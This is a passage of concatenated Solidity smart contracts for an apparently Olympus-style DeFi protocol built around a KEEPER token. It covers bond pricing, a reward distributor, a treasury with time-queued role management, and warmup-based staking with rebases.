price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 1e5 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } } /** * @notice calculate current bond price and remove floor if above * @return price_ uint */ function _bondPrice() internal returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 1e5 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } else if ( terms.minimumPrice != 0 ) { terms.minimumPrice = 0; } } /** * @notice get asset price from chainlink */ function assetPrice() public view returns (int) { ( , int price, , , ) = priceFeed.latestRoundData(); return price; } /** * @notice converts bond price to DAI value * @return price_ uint */ function bondPriceInUSD() public view returns ( uint price_ ) { price_ = bondPrice().mul( uint( assetPrice() ) ).mul( 1e6 ); } /** * @notice calculate current ratio of debt to KEEPER supply * @return debtRatio_ uint */ function debtRatio() public view returns ( uint debtRatio_ ) { uint supply = IERC20( KEEPER ).totalSupply(); debtRatio_ = FixedPoint.fraction( currentDebt().mul( 1e9 ), supply ).decode112with18().div( 1e18 ); } /** * @notice debt ratio in same terms as reserve bonds * @return uint */ function standardizedDebtRatio() external view returns ( uint ) { return debtRatio().mul( uint( assetPrice() ) ).div( 1e8 ); // ETH feed is 8 decimals } /** * @notice calculate debt factoring in decay * @return uint */ function currentDebt() public view returns ( uint ) { return totalDebt.sub( debtDecay() ); } /** * @notice amount to decay total debt by * @return decay_ uint */ function debtDecay() public view returns ( uint decay_ ) { uint32 timeSinceLast = uint32(block.timestamp).sub32( lastDecay ); decay_ = totalDebt.mul( timeSinceLast ).div( terms.vestingTerm ); if ( decay_ > totalDebt ) { decay_ = totalDebt; } } /** * @notice calculate how far into vesting a depositor is * @param _depositor address * @return percentVested_ uint */ function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) { Bond memory bond = bondInfo[ _depositor ]; uint timeSinceLast = uint32(block.timestamp).sub( bond.lastTime ); uint vesting = bond.vesting; if ( vesting > 0 ) { percentVested_ = timeSinceLast.mul( 10000 ).div( vesting ); } else { percentVested_ = 0; } } /** * @notice calculate amount of KEEPER available for claim by depositor * @param _depositor address * @return pendingPayout_ uint */ function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) { uint percentVested = percentVestedFor( _depositor ); uint payout = bondInfo[ _depositor ].payout; if ( percentVested >= 10000 ) { pendingPayout_ = payout; } else { pendingPayout_ = payout.mul( percentVested ).div( 10000 ); } } /* ======= AUXILLIARY ======= */ /** * @notice allow anyone to send lost tokens (excluding principle or KEEPER) to the DAO * @return bool */ function recoverLostToken( address _token ) external returns ( bool ) { require( _token != KEEPER ); require( _token != principle ); IERC20( _token ).safeTransfer( DAO, IERC20( _token ).balanceOf( address(this) ) ); return true; } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/ITreasury.sol"; import "./libraries/SafeMathExtended.sol"; contract StakingDistributor is Ownable { using SafeERC20 for IERC20; using SafeMathExtended for uint256; using SafeMathExtended for uint32; IERC20 immutable KEEPER; ITreasury immutable treasury; uint32 public immutable epochLength; uint32 public nextEpochTime; mapping( uint => Adjust ) public adjustments; /* ====== STRUCTS ====== */ struct Info { uint rate; // in ten-thousandths ( 5000 = 0.5% ) address recipient; } Info[] public info; struct Adjust { bool add; uint rate; uint target; } constructor( address _treasury, address _KEEPER, uint32 _epochLength, uint32 _nextEpochTime ) { require( _treasury != address(0) ); treasury = ITreasury( _treasury ); require( _KEEPER != address(0) ); KEEPER = IERC20( _KEEPER ); epochLength = _epochLength; nextEpochTime = _nextEpochTime; } /** @notice send epoch reward to staking contract */ function distribute() external returns (bool) { if ( nextEpochTime <= uint32(block.timestamp) ) { nextEpochTime = nextEpochTime.add32( epochLength ); // set next epoch block // distribute rewards to each recipient for ( uint i = 0; i < info.length; i++ ) { if ( info[ i ].rate > 0 ) { treasury.mintRewards( // mint and send from treasury info[ i ].recipient, nextRewardAt( info[ i ].rate ) ); adjust( i ); // check for adjustment } } return true; } else { return false; } } /** @notice increment reward rate for collector */ function adjust( uint _index ) internal { Adjust memory adjustment = adjustments[ _index ]; if ( adjustment.rate != 0 ) { if ( adjustment.add ) { // if rate should increase info[ _index ].rate = info[ _index ].rate.add( adjustment.rate ); // raise rate if ( info[ _index ].rate >= adjustment.target ) { // if target met adjustments[ _index ].rate = 0; // turn off adjustment } } else { // if rate should decrease info[ _index ].rate = info[ _index ].rate.sub( adjustment.rate ); // lower rate if ( info[ _index ].rate <= adjustment.target || info[ _index ].rate < adjustment.rate) { // if target met adjustments[ _index ].rate = 0; // turn off adjustment } } } } /* ====== VIEW FUNCTIONS ====== */ /** @notice view function for next reward at given rate @param _rate uint @return uint */ function nextRewardAt( uint _rate ) public view returns ( uint ) { return KEEPER.totalSupply().mul( _rate ).div( 1000000 ); } /** @notice view function for next reward for specified address @param _recipient address @return uint */ function nextRewardFor( address _recipient ) public view returns ( uint ) { uint reward; for ( uint i = 0; i < info.length; i++ ) { if ( info[ i ].recipient == _recipient ) { reward = nextRewardAt( info[ i ].rate ); } } return reward; } /* ====== POLICY FUNCTIONS ====== */ /** @notice adds recipient for distributions @param _recipient address @param _rewardRate uint */ function addRecipient( address _recipient, uint _rewardRate ) external onlyOwner() { require( _recipient != address(0) ); info.push( Info({ recipient: _recipient, rate: _rewardRate })); } /** @notice removes recipient for distributions @param _index uint @param _recipient address */ function removeRecipient( uint _index, address _recipient ) external onlyOwner() { require( _recipient == info[ _index ].recipient ); info[ _index ] = info[info.length-1]; info.pop(); } /** @notice set adjustment info for a collector's reward rate @param _index uint @param _add bool @param _rate uint @param _target uint */ function setAdjustment( uint _index, bool _add, uint _rate, uint _target ) external onlyOwner() { require(_add || info[ _index ].rate >= _rate, "Negative adjustment rate cannot be more than current rate."); adjustments[ _index ] = Adjust({ add: _add, rate: _rate, target: _target }); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/IBondCalculator.sol"; import "./interfaces/IERC20Extended.sol"; import "./interfaces/IKeplerERC20.sol"; contract oldTreasury is Ownable { using SafeERC20 for IERC20Extended; using SafeMath for uint; event Deposit( address indexed token, uint amount, uint value ); event Withdrawal( address indexed token, uint amount, uint value ); event CreateDebt( address indexed debtor, address indexed token, uint amount, uint value ); event RepayDebt( address indexed debtor, address indexed token, uint amount, uint value ); event ReservesManaged( address indexed token, uint amount ); event ReservesUpdated( uint indexed totalReserves ); event ReservesAudited( uint indexed totalReserves ); event RewardsMinted( address indexed caller, address indexed recipient, uint amount ); event ChangeQueued( MANAGING indexed managing, address queued ); event ChangeActivated( MANAGING indexed managing, address activated, bool result ); enum MANAGING { RESERVEDEPOSITOR, RESERVESPENDER, RESERVETOKEN, RESERVEMANAGER, LIQUIDITYDEPOSITOR, LIQUIDITYTOKEN, LIQUIDITYMANAGER, DEBTOR, REWARDMANAGER, SKEEPER } IKeplerERC20 immutable KEEPER; uint public immutable secondsNeededForQueue; uint public constant keeperDecimals = 9; address[] public reserveTokens; // Push only, beware false-positives. mapping( address => bool ) public isReserveToken; mapping( address => uint ) public reserveTokenQueue; // Delays changes to mapping. address[] public reserveDepositors; // Push only, beware false-positives. Only for viewing. mapping( address => bool ) public isReserveDepositor; mapping( address => uint ) public reserveDepositorQueue; // Delays changes to mapping. address[] public reserveSpenders; // Push only, beware false-positives. Only for viewing. mapping( address => bool ) public isReserveSpender; mapping( address => uint ) public reserveSpenderQueue; // Delays changes to mapping. address[] public liquidityTokens; // Push only, beware false-positives. mapping( address => bool ) public isLiquidityToken; mapping( address => uint ) public LiquidityTokenQueue; // Delays changes to mapping. address[] public liquidityDepositors; // Push only, beware false-positives. Only for viewing. mapping( address => bool ) public isLiquidityDepositor; mapping( address => uint ) public LiquidityDepositorQueue; // Delays changes to mapping. mapping( address => address ) public bondCalculator; // bond calculator for liquidity token address[] public reserveManagers; // Push only, beware false-positives. Only for viewing. mapping( address => bool ) public isReserveManager; mapping( address => uint ) public ReserveManagerQueue; // Delays changes to mapping. address[] public liquidityManagers; // Push only, beware false-positives. Only for viewing. mapping( address => bool ) public isLiquidityManager; mapping( address => uint ) public LiquidityManagerQueue; // Delays changes to mapping. address[] public debtors; // Push only, beware false-positives. Only for viewing. mapping( address => bool ) public isDebtor; mapping( address => uint ) public debtorQueue; // Delays changes to mapping. mapping( address => uint ) public debtorBalance; address[] public rewardManagers; // Push only, beware false-positives. Only for viewing. mapping( address => bool ) public isRewardManager; mapping( address => uint ) public rewardManagerQueue; // Delays changes to mapping. address public sKEEPER; uint public sKEEPERQueue; // Delays change to sKEEPER address uint public totalReserves; // Risk-free value of all assets uint public totalDebt; constructor (address _KEEPER, address _USDC, address _DAI, uint _secondsNeededForQueue) { require( _KEEPER != address(0) ); KEEPER = IKeplerERC20(_KEEPER); isReserveToken[ _USDC] = true; reserveTokens.push( _USDC ); isReserveToken[ _DAI ] = true; reserveTokens.push( _DAI ); // isLiquidityToken[ _KEEPERDAI ] = true; // liquidityTokens.push( _KEEPERDAI ); secondsNeededForQueue = _secondsNeededForQueue; } /** @notice allow approved address to deposit an asset for KEEPER @param _amount uint @param _token address @param _profit uint @return send_ uint */ function deposit( uint _amount, address _token, uint _profit ) external returns ( uint send_ ) { require( isReserveToken[ _token ] || isLiquidityToken[ _token ], "Not accepted" ); IERC20Extended( _token ).safeTransferFrom( msg.sender, address(this), _amount ); if ( isReserveToken[ _token ] ) { require( isReserveDepositor[ msg.sender ], "Not approved" ); } else { require( isLiquidityDepositor[ msg.sender ], "Not approved" ); } uint value = valueOfToken(_token, _amount); // mint KEEPER needed and store amount of rewards for distribution send_ = value.sub( _profit ); KEEPER.mint( msg.sender, send_ ); totalReserves = totalReserves.add( value ); emit ReservesUpdated( totalReserves ); emit Deposit( _token, _amount, value ); } /** @notice allow approved address to burn KEEPER for reserves @param _amount uint @param _token address */ function withdraw( uint _amount, address _token ) external { require( isReserveToken[ _token ], "Not accepted" ); // Only reserves can be used for redemptions require( isReserveSpender[ msg.sender ] == true, "Not approved" ); uint value = valueOfToken( _token, _amount ); KEEPER.burnFrom( msg.sender, value ); totalReserves = totalReserves.sub( value ); emit ReservesUpdated( totalReserves ); IERC20Extended( _token ).safeTransfer( msg.sender, _amount ); emit Withdrawal( _token, _amount, value ); } /** @notice allow approved address to borrow reserves @param _amount uint @param _token address */ function incurDebt( uint _amount, address _token ) external { require( isDebtor[ msg.sender ], "Not approved" ); require( isReserveToken[ _token ], "Not accepted" ); uint value = valueOfToken( _token, _amount ); uint maximumDebt = IERC20Extended( sKEEPER ).balanceOf( msg.sender ); // Can only borrow against sKEEPER held uint availableDebt = maximumDebt.sub( debtorBalance[ msg.sender ] ); require( value <= availableDebt, "Exceeds debt limit" ); debtorBalance[ msg.sender ] = debtorBalance[ msg.sender ].add( value ); totalDebt = totalDebt.add( value ); totalReserves = totalReserves.sub( value ); emit ReservesUpdated( totalReserves ); IERC20Extended( _token ).transfer( msg.sender, _amount ); emit CreateDebt( msg.sender, _token, _amount, value ); } /** @notice allow approved address to repay borrowed reserves with reserves @param _amount uint @param _token address */ function repayDebtWithReserve( uint _amount, address _token ) external { require( isDebtor[ msg.sender ], "Not approved" ); require( isReserveToken[ _token ], "Not accepted" ); IERC20Extended( _token ).safeTransferFrom( msg.sender, address(this), _amount ); uint value = valueOfToken( _token, _amount ); debtorBalance[ msg.sender ] = debtorBalance[ msg.sender ].sub( value ); totalDebt = totalDebt.sub( value ); totalReserves = totalReserves.add( value ); emit ReservesUpdated( totalReserves ); emit RepayDebt( msg.sender, _token, _amount, value ); } /** @notice allow approved address to repay borrowed reserves with KEEPER @param _amount uint */ function repayDebtWithKEEPER( uint _amount ) external { require( isDebtor[ msg.sender ], "Not approved" ); KEEPER.burnFrom( msg.sender, _amount ); debtorBalance[ msg.sender ] = debtorBalance[ msg.sender ].sub( _amount ); totalDebt = totalDebt.sub( _amount ); emit RepayDebt( msg.sender, address(KEEPER), _amount, _amount ); } /** @notice allow approved address to withdraw assets @param _token address @param _amount uint */ function manage( address _token, uint _amount ) external { if( isLiquidityToken[ _token ] ) { require( isLiquidityManager[ msg.sender ], "Not approved" ); } else { require( isReserveManager[ msg.sender ], "Not approved" ); } uint value = valueOfToken(_token, _amount); require( value <= excessReserves(), "Insufficient reserves" ); totalReserves = totalReserves.sub( value ); emit ReservesUpdated( totalReserves ); IERC20Extended( _token ).safeTransfer( msg.sender, _amount ); emit ReservesManaged( _token, _amount ); } /** @notice send epoch reward to staking contract */ function mintRewards( address _recipient, uint _amount ) external { require( isRewardManager[ msg.sender ], "Not approved" ); require( _amount <= excessReserves(), "Insufficient reserves" ); KEEPER.mint( _recipient, _amount ); emit RewardsMinted( msg.sender, _recipient, _amount ); } /** @notice returns excess reserves not backing tokens @return uint */ function excessReserves() public view returns ( uint ) { return totalReserves.sub( KEEPER.totalSupply().sub( totalDebt ) ); } /** @notice takes inventory of all tracked assets @notice always consolidate to recognized reserves before audit */ function auditReserves() external onlyOwner() { uint reserves; for( uint i = 0; i < reserveTokens.length; i++ ) { reserves = reserves.add ( valueOfToken( reserveTokens[ i ], IERC20Extended( reserveTokens[ i ] ).balanceOf( address(this) ) ) ); } for( uint i = 0; i < liquidityTokens.length; i++ ) { reserves = reserves.add ( valueOfToken( liquidityTokens[ i ], IERC20Extended( liquidityTokens[ i ] ).balanceOf( address(this) ) ) ); } totalReserves = reserves; emit ReservesUpdated( reserves ); emit ReservesAudited( reserves ); } /** @notice returns KEEPER valuation of asset @param _token address @param _amount uint @return value_ uint */ function valueOfToken( address _token, uint _amount ) public view returns ( uint value_ ) { if ( isReserveToken[ _token ] ) { // convert amount to match KEEPER decimals value_ = _amount.mul( 10 ** keeperDecimals ).div( 10 ** IERC20Extended( _token ).decimals() ); } else if ( isLiquidityToken[ _token ] ) { value_ = IBondCalculator( bondCalculator[ _token ] ).valuation( _token, _amount ); } } /** @notice queue address to change boolean in mapping @param _managing MANAGING @param _address address @return bool */ function queue( MANAGING _managing, address _address ) external onlyOwner() returns ( bool ) { require( _address != address(0) ); if ( _managing == MANAGING.RESERVEDEPOSITOR ) { // 0 reserveDepositorQueue[ _address ] = block.timestamp.add( secondsNeededForQueue ); } else if ( _managing == MANAGING.RESERVESPENDER ) { // 1 reserveSpenderQueue[ _address ] = block.timestamp.add( secondsNeededForQueue ); } else if ( _managing == MANAGING.RESERVETOKEN ) { // 2 reserveTokenQueue[ _address ] = block.timestamp.add( secondsNeededForQueue ); } else if ( _managing == MANAGING.RESERVEMANAGER ) { // 3 ReserveManagerQueue[ _address ] = block.timestamp.add( secondsNeededForQueue.mul( 2 ) ); } else if ( _managing == MANAGING.LIQUIDITYDEPOSITOR ) { // 4 LiquidityDepositorQueue[ _address ] = block.timestamp.add( secondsNeededForQueue ); } else if ( _managing == MANAGING.LIQUIDITYTOKEN ) { // 5 LiquidityTokenQueue[ _address ] = block.timestamp.add( secondsNeededForQueue ); } else if ( _managing == MANAGING.LIQUIDITYMANAGER ) { // 6 LiquidityManagerQueue[ _address ] = block.timestamp.add( secondsNeededForQueue.mul( 2 ) ); } else if ( _managing == MANAGING.DEBTOR ) { // 7 debtorQueue[ _address ] = block.timestamp.add( secondsNeededForQueue ); } else if ( _managing == MANAGING.REWARDMANAGER ) { // 8 rewardManagerQueue[ _address ] = block.timestamp.add( secondsNeededForQueue ); } else if ( _managing == MANAGING.SKEEPER ) { // 9 sKEEPERQueue = block.timestamp.add( secondsNeededForQueue ); } else return false; emit ChangeQueued( _managing, _address ); return true; } /** @notice verify queue then set boolean in mapping @param _managing MANAGING @param _address address @param _calculator address @return bool */ function toggle( MANAGING _managing, address _address, address _calculator ) external onlyOwner() returns ( bool ) { require( _address != address(0) ); bool result; if ( _managing == MANAGING.RESERVEDEPOSITOR ) { // 0 if ( requirements( reserveDepositorQueue, isReserveDepositor, _address ) ) { reserveDepositorQueue[ _address ] = 0; if( !listContains( reserveDepositors, _address ) ) { reserveDepositors.push( _address ); } } result = !isReserveDepositor[ _address ]; isReserveDepositor[ _address ] = result; } else if ( _managing == MANAGING.RESERVESPENDER ) { // 1 if ( requirements( reserveSpenderQueue, isReserveSpender, _address ) ) { reserveSpenderQueue[ _address ] = 0; if( !listContains( reserveSpenders, _address ) ) { reserveSpenders.push( _address ); } } result = !isReserveSpender[ _address ]; isReserveSpender[ _address ] = result; } else if ( _managing == MANAGING.RESERVETOKEN ) { // 2 if ( requirements( reserveTokenQueue, isReserveToken, _address ) ) { reserveTokenQueue[ _address ] = 0; if( !listContains( reserveTokens, _address ) ) { reserveTokens.push( _address ); } } result = !isReserveToken[ _address ]; isReserveToken[ _address ] = result; } else if ( _managing == MANAGING.RESERVEMANAGER ) { // 3 if ( requirements( ReserveManagerQueue, isReserveManager, _address ) ) { reserveManagers.push( _address ); ReserveManagerQueue[ _address ] = 0; if( !listContains( reserveManagers, _address ) ) { reserveManagers.push( _address ); } } result = !isReserveManager[ _address ]; isReserveManager[ _address ] = result; } else if ( _managing == MANAGING.LIQUIDITYDEPOSITOR ) { // 4 if ( requirements( LiquidityDepositorQueue, isLiquidityDepositor, _address ) ) { liquidityDepositors.push( _address ); LiquidityDepositorQueue[ _address ] = 0; if( !listContains( liquidityDepositors, _address ) ) { liquidityDepositors.push( _address ); } } result = !isLiquidityDepositor[ _address ]; isLiquidityDepositor[ _address ] = result; } else if ( _managing == MANAGING.LIQUIDITYTOKEN ) { // 5 if ( requirements( LiquidityTokenQueue, isLiquidityToken, _address ) ) { LiquidityTokenQueue[ _address ] = 0; if( !listContains( liquidityTokens, _address ) ) { liquidityTokens.push( _address ); } } result = !isLiquidityToken[ _address ]; isLiquidityToken[ _address ] = result; bondCalculator[ _address ] = _calculator; } else if ( _managing == MANAGING.LIQUIDITYMANAGER ) { // 6 if ( requirements( LiquidityManagerQueue, isLiquidityManager, _address ) ) { LiquidityManagerQueue[ _address ] = 0; if( !listContains( liquidityManagers, _address ) ) { liquidityManagers.push( _address ); } } result = !isLiquidityManager[ _address ]; isLiquidityManager[ _address ] = result; } else if ( _managing == MANAGING.DEBTOR ) { // 7 if ( requirements( debtorQueue, isDebtor, _address ) ) { debtorQueue[ _address ] = 0; if( !listContains( debtors, _address ) ) { debtors.push( _address ); } } result = !isDebtor[ _address ]; isDebtor[ _address ] = result; } else if ( _managing == MANAGING.REWARDMANAGER ) { // 8 if ( requirements( rewardManagerQueue, isRewardManager, _address ) ) { rewardManagerQueue[ _address ] = 0; if( !listContains( rewardManagers, _address ) ) { rewardManagers.push( _address ); } } result = !isRewardManager[ _address ]; isRewardManager[ _address ] = result; } else if ( _managing == MANAGING.SKEEPER ) { // 9 sKEEPERQueue = 0; sKEEPER = _address; result = true; } else return false; emit ChangeActivated( _managing, _address, result ); return true; } /** @notice checks requirements and returns altered structs @param queue_ mapping( address => uint ) @param status_ mapping( address => bool ) @param _address address @return bool */ function requirements( mapping( address => uint ) storage queue_, mapping( address => bool ) storage status_, address _address ) internal view returns ( bool ) { if ( !status_[ _address ] ) { require( queue_[ _address ] != 0, "Must queue" ); require( queue_[ _address ] <= block.timestamp, "Queue not expired" ); return true; } return false; } /** @notice checks array to ensure against duplicate @param _list address[] @param _token address @return bool */ function listContains( address[] storage _list, address _token ) internal view returns ( bool ) { for( uint i = 0; i < _list.length; i++ ) { if( _list[ i ] == _token ) { return true; } } return false; } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IKeplerERC20 is IERC20 { function decimals() external view returns (uint8); function mint(uint256 amount_) external; function mint(address account_, uint256 ammount_) external; function burnFrom(address account_, uint256 amount_) external; function vault() external returns (address); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "./interfaces/IStaking.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract StakingHelper { address public immutable staking; address public immutable KEEPER; constructor ( address _staking, address _KEEPER ) { require( _staking != address(0) ); staking = _staking; require( _KEEPER != address(0) ); KEEPER = _KEEPER; } function stake( uint _amount, bool _wrap ) external { IERC20( KEEPER ).transferFrom( msg.sender, address(this), _amount ); IERC20( KEEPER ).approve( staking, _amount ); IStaking( staking ).stake( _amount, msg.sender, _wrap ); IStaking( staking ).claim( msg.sender ); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/IDistributor.sol"; import "./interfaces/IiKEEPER.sol"; import "./interfaces/IsKEEPER.sol"; import "./interfaces/IwTROVE.sol"; import "./libraries/SafeMathExtended.sol"; contract oldStaking is Ownable { using SafeERC20 for IERC20; using SafeERC20 for IsKEEPER; using SafeMathExtended for uint256; using SafeMathExtended for uint32; event DistributorSet( address distributor ); event WarmupSet( uint warmup ); event IKeeperSet( address iKEEPER ); struct Epoch { uint32 length; uint32 endTime; uint32 number; uint distribute; } struct Claim { uint deposit; uint gons; uint expiry; bool lock; // prevents malicious delays } IERC20 public immutable KEEPER; IsKEEPER public immutable sKEEPER; IwTROVE public immutable wTROVE; Epoch public epoch; address public distributor; address public iKEEPER; mapping( address => Claim ) public warmupInfo; uint32 public warmupPeriod; uint gonsInWarmup; constructor (address _KEEPER, address _sKEEPER, address _wTROVE, uint32 _epochLength, uint32 _firstEpochNumber, uint32 _firstEpochTime) { require( _KEEPER != address(0) ); KEEPER = IERC20( _KEEPER ); require( _sKEEPER != address(0) ); sKEEPER = IsKEEPER( _sKEEPER ); require( _wTROVE != address(0) ); wTROVE = IwTROVE( _wTROVE ); epoch = Epoch({ length: _epochLength, number: _firstEpochNumber, endTime: _firstEpochTime, distribute: 0 }); } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice stake KEEPER to enter warmup * @param _amount uint * @param _recipient address */ function stake( uint _amount, address _recipient, bool _wrap ) external returns ( uint ) { rebase(); KEEPER.safeTransferFrom( msg.sender, address(this), _amount ); if ( warmupPeriod == 0 ) { return _send( _recipient, _amount, _wrap ); } else { Claim memory info = warmupInfo[ _recipient ]; if ( !info.lock ) { require( _recipient == msg.sender, "External deposits for account are locked" ); } uint sKeeperGons = sKEEPER.gonsForBalance( _amount ); warmupInfo[ _recipient ] = Claim ({ deposit: info.deposit.add(_amount), gons: info.gons.add(sKeeperGons), expiry: epoch.number.add32(warmupPeriod), lock: info.lock }); gonsInWarmup = gonsInWarmup.add(sKeeperGons); return _amount; } } function stakeInvest( uint _stakeAmount, uint _investAmount, address _recipient, bool _wrap ) external { rebase(); uint keeperAmount = _stakeAmount.add(_investAmount.div(1e9)); KEEPER.safeTransferFrom( msg.sender, address(this), keeperAmount ); _send( _recipient, _stakeAmount, _wrap ); sKEEPER.approve(iKEEPER, _investAmount); IiKEEPER(iKEEPER).wrap(_investAmount, _recipient); } /** * @notice retrieve stake from warmup * @param _recipient address */ function claim ( address _recipient ) public returns ( uint ) { Claim memory info = warmupInfo[ _recipient ]; if ( epoch.number >= info.expiry && info.expiry != 0 ) { delete warmupInfo[ _recipient ]; gonsInWarmup = gonsInWarmup.sub(info.gons); return _send( _recipient, sKEEPER.balanceForGons( info.gons ), false); } return 0; } /** * @notice forfeit stake and retrieve KEEPER */ function forfeit() external returns ( uint ) { Claim memory info = warmupInfo[ msg.sender ]; delete warmupInfo[ msg.sender ]; gonsInWarmup = gonsInWarmup.sub(info.gons); KEEPER.safeTransfer( msg.sender, info.deposit ); return info.deposit; } /** * @notice prevent new deposits or claims from ext. address (protection from malicious activity) */ function toggleLock() external { warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock; } /** * @notice redeem sKEEPER for KEEPER * @param _amount uint * @param _trigger bool */ function unstake( uint _amount, bool _trigger ) external returns ( uint ) { if ( _trigger ) { rebase(); } uint amount = _amount; sKEEPER.safeTransferFrom( msg.sender, address(this), _amount ); KEEPER.safeTransfer( msg.sender, amount ); return amount; } /** @notice trigger rebase if epoch over */ function rebase() public { if( epoch.endTime <= uint32(block.timestamp) ) { sKEEPER.rebase( epoch.distribute, epoch.number ); epoch.endTime = epoch.endTime.add32(epoch.length); epoch.number++; if ( distributor != address(0) ) { IDistributor( distributor ).distribute(); } uint contractBalanceVal = contractBalance(); uint totalStakedVal = totalStaked(); if( contractBalanceVal <= totalStakedVal ) { epoch.distribute = 0; } else { epoch.distribute = contractBalanceVal.sub(totalStakedVal); } } } /* ========== INTERNAL FUNCTIONS ========== */ /** * @notice send staker their amount as sKEEPER or gKEEPER * @param _recipient address * @param _amount uint */ function _send( address _recipient, uint _amount, bool _wrap ) internal returns ( uint ) { if (_wrap) { sKEEPER.approve( address( wTROVE ), _amount ); uint wrapValue = wTROVE.wrap( _amount ); wTROVE.transfer( _recipient, wrapValue ); } else { sKEEPER.safeTransfer( _recipient, _amount ); // send as sKEEPER (equal unit as KEEPER) } return _amount; } /* ========== VIEW FUNCTIONS ========== */ /** @notice returns the sKEEPER index, which tracks rebase growth @return uint */ function index() public view returns ( uint ) { return sKEEPER.index(); } /** @notice returns contract KEEPER holdings, including bonuses provided @return uint */ function contractBalance() public view returns ( uint ) { return KEEPER.balanceOf( address(this) ); } function totalStaked() public view returns ( uint ) { return sKEEPER.circulatingSupply(); } function supplyInWarmup() public view returns ( uint ) { return sKEEPER.balanceForGons( gonsInWarmup ); } /* ========== MANAGERIAL FUNCTIONS ========== */ /** @notice sets the contract address for LP staking @param _address address */ function setDistributor( address _address ) external onlyOwner() { distributor = _address; emit DistributorSet( _address ); } /** * @notice set warmup period for new stakers * @param _warmupPeriod uint */ function setWarmup( uint32 _warmupPeriod ) external onlyOwner() { warmupPeriod = _warmupPeriod; emit WarmupSet( _warmupPeriod ); } function setIKeeper( address _iKEEPER ) external onlyOwner() { iKEEPER = _iKEEPER; emit IKeeperSet( _iKEEPER ); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; interface IDistributor { function distribute() external returns ( bool ); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IiKEEPER is IERC20 { function wrap(uint _amount, address _recipient) external; function unwrap(uint _amount) external; } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/AggregateV3Interface.sol"; import "./interfaces/IWETH9.sol"; import "./interfaces/ITreasury.sol"; import "./interfaces/IsKEEPER.sol"; import "./interfaces/IwTROVE.sol"; import "./interfaces/IStaking.sol"; import "./libraries/FixedPoint.sol"; import "./libraries/SafeMathExtended.sol"; contract EthBondStakeDepository is Ownable { using FixedPoint for *; using SafeERC20 for IERC20; using SafeMathExtended for uint; using SafeMathExtended for uint32; /* ======== EVENTS ======== */ event BondCreated( uint deposit, uint indexed payout, uint indexed expires, uint indexed priceInUSD ); event BondRedeemed( address indexed recipient, uint payout, uint remaining ); event BondPriceChanged( uint indexed priceInUSD, uint indexed internalPrice, uint indexed debtRatio ); event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition ); /* ======== STATE VARIABLES ======== */ address public immutable KEEPER; // token given as payment for bond address public immutable sKEEPER; // token given as payment for bond address public immutable wTROVE; // Wrap sKEEPER address public immutable principle; // token used to create bond address public immutable treasury; // mints KEEPER when receives principle address public immutable DAO; // receives profit share from bond AggregatorV3Interface internal priceFeed; address public staking; // to auto-stake payout Terms public terms; // stores terms for new bonds Adjust public adjustment; // stores adjustment to BCV data mapping( address => Bond ) public bondInfo; // stores bond information for depositors uint public totalDebt; // total value of outstanding bonds; used for pricing uint32 public lastDecay; // reference block for debt decay /* ======== STRUCTS ======== */ // Info for creating new bonds struct Terms { uint32 vestingTerm; // in seconds uint controlVariable; // scaling variable for price uint minimumPrice; // vs principle value. 4 decimals (1500 = 0.15) uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5% uint maxDebt; // 9 decimal debt ratio, max % total supply created as debt } // Info for bond holder struct Bond { uint32 vesting; // seconds left to vest uint32 lastTime; // Last interaction uint gonsPayout; // KEEPER remaining to be paid uint pricePaid; // In DAI, for front end viewing } // Info for incremental adjustments to control variable struct Adjust { bool add; // addition or subtraction uint rate; // increment uint target; // BCV when adjustment finished uint32 buffer; // minimum length (in blocks) between adjustments uint32 lastTime; // block when last adjustment made } /* ======== INITIALIZATION ======== */ constructor ( address _KEEPER, address _sKEEPER, address _wTROVE, address _principle, address _staking, address _treasury, address _DAO, address _feed) { require( _KEEPER != address(0) ); KEEPER = _KEEPER; require( _sKEEPER != address(0) ); sKEEPER = _sKEEPER; require( _wTROVE != address(0) ); wTROVE = _wTROVE; require( _principle != address(0) ); principle = _principle; require( _treasury != address(0) ); treasury = _treasury; require( _DAO != address(0) ); DAO = _DAO; require( _staking != address(0) ); staking = _staking; require( _feed != address(0) ); priceFeed = AggregatorV3Interface( _feed ); } /** * @notice initializes bond parameters * @param _controlVariable uint * @param _vestingTerm uint * @param _minimumPrice uint * @param _maxPayout uint * @param _maxDebt uint * @param _initialDebt uint */ function initializeBondTerms(uint _controlVariable, uint32 _vestingTerm, uint _minimumPrice, uint _maxPayout, uint _maxDebt, uint _initialDebt) external onlyOwner() { require( terms.controlVariable == 0 && 